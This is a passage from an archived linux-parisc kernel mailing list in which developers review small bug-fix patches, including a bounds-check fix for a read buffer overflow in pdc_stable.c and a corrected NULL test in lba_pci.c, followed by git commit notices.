 char *buf)
> =C2=A0 =C2=A0 =C2=A0 =C2=A0if (!i) /* entry is not ready */
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0return -ENODAT=
A;
>
> - =C2=A0 =C2=A0 =C2=A0 for (i =3D 0; devpath->layers[i] && (likely(i =
< 6)); i++)
> + =C2=A0 =C2=A0 =C2=A0 for (i =3D 0; i < 6 && devpath->layers[i]; i++=
)
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0out +=3D sprin=
tf(out, "%u ", devpath->layers[i]);
>
> =C2=A0 =C2=A0 =C2=A0 =C2=A0out +=3D sprintf(out, "\n");
> --
> To unsubscribe from this list: send the line "unsubscribe linux-paris=
c" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at =C2=A0http://vger.kernel.org/majordomo-info.ht=
ml
>



--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] kobject: Read buffer overflow
Date: Sun, 2 Aug 2009 04:16:36 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20090802101635.GA3711@parisc-linux.org>
References: <4A754814.50506@gmail.com> <7d01f9f00908020306s273eec60u8e50692c0f839828@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1249208213 7833 80.91.229.12 (2 Aug 2009 10:16:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 2 Aug 2009 10:16:53 +0000 (UTC)
Cc: Roel Kluin <roel.kluin@gmail.com>, kyle@mcmartin.ca, deller@gmx.de,
	linux-parisc@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>
To: Thibaut VARENE <varenet@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 02 12:16:44 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MXY7K-0001lQ-VU
	for glpp-linux-parisc@gmane.org; Sun, 02 Aug 2009 12:16:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752143AbZHBKQh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 2 Aug 2009 06:16:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752295AbZHBKQh
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 2 Aug 2009 06:16:37 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:40509 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752143AbZHBKQg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 2 Aug 2009 06:16:36 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 641E7494005; Sun,  2 Aug 2009 04:16:36 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <7d01f9f00908020306s273eec60u8e50692c0f839828@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1987
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1987>

On Sun, Aug 02, 2009 at 12:06:59PM +0200, Thibaut VARENE wrote:
> On Sun, Aug 2, 2009 at 10:02 AM, Roel Kluin<roel.kluin@gmail.com> wrote:
> > Check whether index is within bounds before testing the element.
> 
> The change is correct but:
> - There are other places in the code with that construct. Even though
> they wouldn't trigger an overflow, why not fixing them too?
> - Keep the likely: we are more likely to run out of data in the layers
> than to exhaust the counter (which is why no overflow was ever
> triggered, I believe ;-)

No, lose the likely.  It's a for-loop; gcc will do the right thing.

(If you think I'm wrong, convince me by showing the disassembly of the
compiled code with and without the likely).

-- 
Matthew Wilcox				Intel Open Source Technology Centre
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] kobject: Read buffer overflow
Date: Sun, 2 Aug 2009 12:24:34 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <7d01f9f00908020324r227382aal1d63512ded018b17@mail.gmail.com>
References: <4A754814.50506@gmail.com>
	 <7d01f9f00908020306s273eec60u8e50692c0f839828@mail.gmail.com>
	 <20090802101635.GA3711@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1249208689 8809 80.91.229.12 (2 Aug 2009 10:24:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 2 Aug 2009 10:24:49 +0000 (UTC)
Cc: Roel Kluin <roel.kluin@gmail.com>, kyle@mcmartin.ca, deller@gmx.de,
	linux-parisc@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 02 12:24:42 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MXYF7-0005MA-Ao
	for glpp-linux-parisc@gmane.org; Sun, 02 Aug 2009 12:24:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752381AbZHBKYh convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 2 Aug 2009 06:24:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752295AbZHBKYh
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 2 Aug 2009 06:24:37 -0400
Original-Received: from mail-ew0-f214.google.com ([209.85.219.214]:61357 "EHLO
	mail-ew0-f214.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752143AbZHBKYg convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 2 Aug 2009 06:24:36 -0400
Original-Received: by ewy10 with SMTP id 10so2420206ewy.37
        for <linux-parisc@vger.kernel.org>; Sun, 02 Aug 2009 03:24:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=v5IGYABd2u15zxQJQ8uIIIbUuWhAKDVG5it9UjgQJMk=;
        b=l9zbUhwbxKfwO6eukazEiEkDgS3FtCiis/IJ0OP1W3ST8+DAZiIkLXOu4ySCFL19ws
         HrADBRZTGKhl3zRMx+t2W/nrLfIxPQadVAVBkqsQI0jOYgzbVF71pGSapfMA6pEOYqRQ
         6tmZFVSjO7tSmSej3pEx5PC2YEM1tGUshdVew=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=D0y5vTspGD9A8G/Jp/3GzjuBYd6NT17p721hWMIIzN/S5oFZ3KmSJuzKH/+ncKuNRV
         d8Heqap0pQc56bjI7w8DbkTMq4s1U+tdDP4Rb0OhPTrrc2mJl5LzgNiQM2P6PVr0PTSD
         dUVRG/Dd6kbDJ9DEMzoZtdQtEPlOGvohmuSi0=
Original-Received: by 10.216.53.196 with SMTP id g46mr931483wec.63.1249208674064; Sun, 
	02 Aug 2009 03:24:34 -0700 (PDT)
In-Reply-To: <20090802101635.GA3711@parisc-linux.org>
X-Google-Sender-Auth: f445a3eb52f2e06c
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1988
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1988>

On Sun, Aug 2, 2009 at 12:16 PM, Matthew Wilcox<matthew@wil.cx> wrote:
> On Sun, Aug 02, 2009 at 12:06:59PM +0200, Thibaut VARENE wrote:
>> On Sun, Aug 2, 2009 at 10:02 AM, Roel Kluin<roel.kluin@gmail.com> wr=
ote:
>> > Check whether index is within bounds before testing the element.
>>
>> The change is correct but:
>> - There are other places in the code with that construct. Even thoug=
h
>> they wouldn't trigger an overflow, why not fixing them too?
>> - Keep the likely: we are more likely to run out of data in the laye=
rs
>> than to exhaust the counter (which is why no overflow was ever
>> triggered, I believe ;-)
>
> No, lose the likely. =C2=A0It's a for-loop; gcc will do the right thi=
ng.

I stand corrected then. ;-)
Thanks willy.

T-Bone

--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] kobject: Read buffer overflow
Date: Sun, 02 Aug 2009 23:33:47 +0000
Lines: 30
Approved: news@gmane.org
Message-ID: <1249256027.3922.218.camel@mulgrave.site>
References: <4A754814.50506@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249256044 31841 80.91.229.12 (2 Aug 2009 23:34:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 2 Aug 2009 23:34:04 +0000 (UTC)
Cc: kyle@mcmartin.ca, deller@gmx.de, linux-parisc@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>
To: Roel Kluin <roel.kluin@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 03 01:33:56 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MXkYr-00073E-Vf
	for glpp-linux-parisc@gmane.org; Mon, 03 Aug 2009 01:33:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753552AbZHBXdw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 2 Aug 2009 19:33:52 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753837AbZHBXdw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 2 Aug 2009 19:33:52 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40255 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753552AbZHBXdv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 2 Aug 2009 19:33:51 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 35AE38EE120;
	Sun,  2 Aug 2009 16:33:52 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 9N5EzjevYXYg; Sun,  2 Aug 2009 16:33:52 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 7C05B8EE0F5;
	Sun,  2 Aug 2009 16:33:50 -0700 (PDT)
In-Reply-To: <4A754814.50506@gmail.com>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1989
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1989>

On Sun, 2009-08-02 at 10:02 +0200, Roel Kluin wrote:
> Check whether index is within bounds before testing the element.
> 
> Signed-off-by: Roel Kluin <roel.kluin@gmail.com>
> ---
> This also removes the likely, should it be kept?
> 
> diff --git a/drivers/parisc/pdc_stable.c b/drivers/parisc/pdc_stable.c
> index f9f9a5f..13a64bc 100644
> --- a/drivers/parisc/pdc_stable.c
> +++ b/drivers/parisc/pdc_stable.c
> @@ -370,7 +370,7 @@ pdcspath_layer_read(struct pdcspath_entry *entry, char *buf)
>  	if (!i)	/* entry is not ready */
>  		return -ENODATA;
>  	
> -	for (i = 0; devpath->layers[i] && (likely(i < 6)); i++)
> +	for (i = 0; i < 6 && devpath->layers[i]; i++)

Since all patterns like this (swapping the order of conditions with no
side effects in a for loop condition) are basically trivial, shouldn't
they be going via Jiri Kosina (trivial tree)?  

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.janitors
Subject: Re: [PATCH 5/12] drivers/parisc: Correct redundant test
Date: Mon, 3 Aug 2009 14:33:57 -0600
Lines: 55
Approved: news@gmane.org
Message-ID: <20090803203357.GA2386@lackof.org>
References: <Pine.LNX.4.64.0907271813310.2682@ask.diku.dk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1249331695 6902 80.91.229.12 (3 Aug 2009 20:34:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 3 Aug 2009 20:34:55 +0000 (UTC)
Cc: kyle@mcmartin.ca, deller@gmx.de, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kernel-janitors@vger.kernel.org
To: Julia Lawall <julia@diku.dk>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S932236AbZHCUeD@vger.kernel.org Mon Aug 03 22:34:47 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S932236AbZHCUeD@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MY4F4-0003y9-4E
	for glk-linux-kernel-3@gmane.org; Mon, 03 Aug 2009 22:34:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932236AbZHCUeD (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 3 Aug 2009 16:34:03 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932120AbZHCUeB
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Mon, 3 Aug 2009 16:34:01 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:58325 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932119AbZHCUeA (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 3 Aug 2009 16:34:00 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 30FB433E0069;
	Mon,  3 Aug 2009 14:34:00 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id VRdiYqO6h9Ul; Mon,  3 Aug 2009 14:33:57 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id D54F333E006C; Mon,  3 Aug 2009 14:33:57 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.64.0907271813310.2682@ask.diku.dk>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:872804 gmane.linux.ports.parisc:1990 gmane.linux.kernel.janitors:17170
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1990>

On Mon, Jul 27, 2009 at 06:13:48PM +0200, Julia Lawall wrote:
> From: Julia Lawall <julia@diku.dk>
> 
> pa_pdc_cell has already been tested.  It seems that this test should be on the
> recently returned value io_pdc_cell.
> 
> A simplified version of the semantic match that finds this problem is as
> follows: (http://www.emn.fr/x-info/coccinelle/)
> 
> // <smpl>
> @r exists@
> local idexpression x;
> expression E;
> @@
> 
> if (x == NULL || ...) { ... when forall
>    return ...; }
> ... when != \(x=E\|x--\|x++\|--x\|++x\|x-=E\|x+=E\|x|=E\|x&=E\|&x\)
> (
> *x == NULL
> |
> *x != NULL
> )
> // </smpl>
> 
> Signed-off-by: Julia Lawall <julia@diku.dk>

Good catch!

Reviewed-by: Grant Grundler <grundler@parisc-linux.org>

thanks,
grant

> ---
>  drivers/parisc/lba_pci.c            |    2 +-
>  1 files changed, 1 insertions(+), 1 deletions(-)
> 
> diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
> index ede6146..3aeb327 100644
> --- a/drivers/parisc/lba_pci.c
> +++ b/drivers/parisc/lba_pci.c
> @@ -992,7 +992,7 @@ lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
>  		return;
>  
>  	io_pdc_cell = kzalloc(sizeof(pdc_pat_cell_mod_maddr_block_t), GFP_KERNEL);
> -	if (!pa_pdc_cell) {
> +	if (!io_pdc_cell) {
>  		kfree(pa_pdc_cell);
>  		return;
>  	}
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html

From - Thu Nov 08 21:04:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.janitors
Subject: Re: [PATCH 5/12] drivers/parisc: Correct redundant test
Date: Mon, 3 Aug 2009 22:27:41 -0400
Lines: 9
Approved: news@gmane.org
Message-ID: <20090804022741.GF28572@bombadil.infradead.org>
References: <Pine.LNX.4.64.0907271813310.2682@ask.diku.dk> <20090803203357.GA2386@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1249352892 23395 80.91.229.12 (4 Aug 2009 02:28:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 4 Aug 2009 02:28:12 +0000 (UTC)
Cc: Julia Lawall <julia@diku.dk>, kyle@mcmartin.ca, deller@gmx.de,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	kernel-janitors@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S932395AbZHDC1p@vger.kernel.org Tue Aug 04 04:28:04 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S932395AbZHDC1p@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MY9ky-0000ca-02
	for glk-linux-kernel-3@gmane.org; Tue, 04 Aug 2009 04:28:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932395AbZHDC1p (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 3 Aug 2009 22:27:45 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755021AbZHDC1o
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Mon, 3 Aug 2009 22:27:44 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:57916 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754596AbZHDC1o (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 3 Aug 2009 22:27:44 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MY9kb-0001HJ-4n; Tue, 04 Aug 2009 02:27:41 +0000
Content-Disposition: inline
In-Reply-To: <20090803203357.GA2386@lackof.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:872922 gmane.linux.ports.parisc:1991 gmane.linux.kernel.janitors:17172
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1991>

On Mon, Aug 03, 2009 at 02:33:57PM -0600, Grant Grundler wrote:
> Good catch!
> 
> Reviewed-by: Grant Grundler <grundler@parisc-linux.org>
> 

Thanks to both of you.

--Kyle

From - Thu Nov 08 21:04:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/fixes
Date: Tue, 4 Aug 2009 15:21:31 GMT
Lines: 14
Approved: news@gmane.org
Message-ID: <200908041521.n74FLV04026543@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1249399312 17178 80.91.229.12 (4 Aug 2009 15:21:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 4 Aug 2009 15:21:52 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 04 17:21:45 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MYLpg-0005eF-Io
	for glpp-linux-parisc@gmane.org; Tue, 04 Aug 2009 17:21:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932649AbZHDPVm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 4 Aug 2009 11:21:42 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932826AbZHDPVm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 4 Aug 2009 11:21:42 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:59278 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932649AbZHDPVl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 4 Aug 2009 11:21:41 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1+X/Xuqvw9jQDTsOUb9HFNmmI2XzWEQ4MI@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n74FLVY9026545
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Tue, 4 Aug 2009 15:21:31 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n74FLV04026543
	for linux-parisc@vger.kernel.org; Tue, 4 Aug 2009 15:21:31 GMT
X-Virus-Scanned: ClamAV 0.93.3/9650/Tue Aug  4 03:42:34 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=AWL,BAYES_00,
	UNPARSEABLE_RELAY autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Tue, 04 Aug 2009 15:21:42 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1992
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1992>

New commits:
commit 2cde0835a59ac5c57c29eb8f54317d920db7f88b
Author: Christoph Hellwig <hch@lst.de>
Date:   Tue Aug 4 16:54:41 2009 +0200

    parisc: convert to asm-generic/hardirq.h
    
    Signed-off-by: Christoph Hellwig <hch@lst.de>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/fixes
Date: Tue, 4 Aug 2009 15:22:46 GMT
Lines: 15
Approved: news@gmane.org
Message-ID: <200908041522.n74FMkRd026901@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1249399379 17409 80.91.229.12 (4 Aug 2009 15:22:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 4 Aug 2009 15:22:59 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 04 17:22:52 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MYLqj-0006BN-M5
	for glpp-linux-parisc@gmane.org; Tue, 04 Aug 2009 17:22:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932806AbZHDPWr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 4 Aug 2009 11:22:47 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932827AbZHDPWr
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 4 Aug 2009 11:22:47 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:49965 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932806AbZHDPWq (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 4 Aug 2009 11:22:46 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX18eU+ETGeSi4fDdNn72dY5JQYxA2Ba8p/0@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n74FMlBi026904
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Tue, 4 Aug 2009 15:22:47 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n74FMkRd026901
	for linux-parisc@vger.kernel.org; Tue, 4 Aug 2009 15:22:46 GMT
X-Virus-Scanned: ClamAV 0.93.3/9650/Tue Aug  4 03:42:34 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Tue, 04 Aug 2009 15:22:47 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
